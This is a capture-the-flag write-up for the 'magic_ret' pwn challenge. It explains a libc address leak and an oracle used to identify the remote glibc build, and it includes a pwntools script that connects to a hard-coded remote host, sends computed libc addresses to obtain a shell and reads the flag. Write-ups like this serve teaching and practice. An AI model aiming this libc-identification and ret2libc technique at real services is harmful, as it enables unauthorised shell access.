magic_ret
magic_ret
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: libc_base_leak, libc_version_identification, oracle_bruteforce, ret2libc_guided
Summary
Task: guided ret2libc (no buffer overflow) — a PIE binary leaks __libc_start_main_ret, then validates a user-supplied system() address against the GOT and a /bin/sh pointer before calling system(input). Solution: the provided Debian libc-2.31 mismatched the remote; used the strict system-equality check as an oracle to brute-force the correct glibc 2.31 build (Ubuntu 2.31-0ubuntu9) offset tuple, then dropped a shell.
magic_ret — pwn_spbctf
Description
Всё в твоих руках, верь мне.
("It's all in your hands, trust me.")
64-bit x86-64 ELF magic_ret.elf (PIE, NX, Partial RELRO, no stack canary). Remote: nc 109.233.56.90 11633. A libc-2.31.so is provided. This is a guided ret2libc challenge: there is no buffer overflow. The program walks you through the pieces of a ret2libc by hand — you must supply the address of system and the address of a "/bin/sh" string, and it calls system("/bin/sh") for you. The catch (and the entire lesson) is that the provided libc does not match the remote libc.
Analysis
Key functions:
main@0x12c6user_input@0x1233sigsegv_handler@0x1205
Control flow:
-
Leak.
mainprintsprintf("__libc_start_main_ret: %p\n", saved_return), leaking the on-stack return address into__libc_start_main— i.e.libc_base + lsm_ret_off. This gives the libc base once we know the right offset. The low 12 bits of this leak are an invariant: they always end in0x0b3for the actual remote build (page offset is fixed by the libc binary). -
Input parsing.
user_input()doesfgets(buf, 0x100), strips the newline, and returnsstrtol(buf, NULL, 16)— a hex parse (0xprefix accepted). -
system oracle. Prompt
"&system (as hex) = "readsinput1and requiresinput1 == resolved value of the system GLOB_DAT GOT entry(=remote_libc_base + system_off). On mismatch it callsraise(SIGSEGV), whose handlerexit()s (you see EOF). This equality check is a perfect oracle for the remote system address — and therefore for the exact libc build. -
/bin/sh check. Prompt
"&'/bin/sh' (as hex) = "readsinput2(treated as a pointer) and requiresstrncmp((char*)input2, "/bin/sh", 7) == 0. Soinput2must point at a real"/bin/sh"string in libc. On mismatch →raise(SIGSEGV)→ exit. -
Shell. It then calls
system_value(input2), i.e.system(input2). Withinput1 = remote system addrandinput2 = remote "/bin/sh" addr, this gives a shell.
Critical gotcha — the lesson
The provided libc-2.31.so is Debian GLIBC 2.31-3 (system = 0x48f20, /bin/sh = 0x18a156). The remote libc is different. Using the Debian offsets — in particular __libc_start_main_ret = 0x270b3 — made the first (&system) check fail (raise → EOF).
Verifying via disassembly of the provided libc: the call rax that invokes main inside __libc_start_main returns at offsets ending in 0xcca / 0xc5a / 0xd02 — none end in 0x0b3. So 0x270b3 only "page-aligned by coincidence," confirming the provided libc ≠ remote libc.
Lesson: different services on the same host can ship different libcs. (The sibling task
word_storageon this very host used the Debian libc, whilemagic_retdid not.)
Solution
Use the strict &system equality check as an oracle to identify the exact glibc 2.31 build:
- Connect, read the
__libc_start_main_retleak. - For each candidate build's
(lsm_ret_off, system_off, binsh_off)tuple, computebase = leak - lsm_ret_offand sendsystem = base + system_off. - If you reach the second prompt (
"&'/bin/sh' (as hex) = ") instead of EOF, the tuple is correct.
The remote turned out to be Ubuntu glibc 2.31-0ubuntu9:
__libc_start_main_ret = 0x270b3system = 0x55410/bin/sh = 0x1b75aa
(The low 12 bits 0x0b3 of the leak match this build's invariant page offset, confirming the identification before brute-force even completes.)
Then send binsh = base + 0x1b75aa, recvuntil "Let's try...", and drop a shell command to read the flag.
python read-only • copy allowed#!/usr/bin/env python3 # magic_ret.elf (PIE): leaks __libc_start_main_ret via printf("%p"), then asks for # the hex address of system() and the hex address of a "/bin/sh" string; validates # input1 == resolved system (GOT) and *input2 == "/bin/sh", then calls system(input2). # NOTE: the REMOTE libc is Ubuntu glibc 2.31-0ubuntu9 (NOT the provided Debian libc!). # Correct offsets: __libc_start_main_ret=0x270b3, system=0x55410, /bin/sh=0x1b75aa. from pwn import * context.log_level = 'info' HOST, PORT = '109.233.56.90', 11633 # Candidate (lsm_ret_off, system_off, binsh_off) tuples for known glibc 2.31 builds. # The &system equality check is the oracle: the right tuple advances to prompt 2. CANDIDATES = [ (0x270b3, 0x55410, 0x1b75aa), # Ubuntu glibc 2.31-0ubuntu9 <-- remote (0x270b3, 0x48f20, 0x18a156), # Debian GLIBC 2.31-3 (provided libc; mismatches) ] def attempt(lsm_ret, system_off, binsh_off): io = remote(HOST, PORT) io.recvuntil(b'__libc_start_main_ret: ') leak = int(io.recvline().strip(), 16) base = leak - lsm_ret log.info('try base=%#x sys=%#x' % (base, base + system_off)) io.recvuntil(b'&system (as hex) = ') io.sendline(hex(base + system_off).encode()) try: # reaching the SECOND prompt == system check passed == correct tuple io.recvuntil(b"&'/bin/sh' (as hex) = ", timeout=3) except EOFError: io.close() return None io.sendline(hex(base + binsh_off).encode()) io.recvuntil(b"Let's try...") io.sendline(b'cat /flag /flag.txt 2>/dev/null; id') return io for lsm, sysoff, binsh in CANDIDATES: io = attempt(lsm, sysoff, binsh) if io: log.success('correct libc build found') print(io.recvall(timeout=4).decode(errors='replace')) io.close() break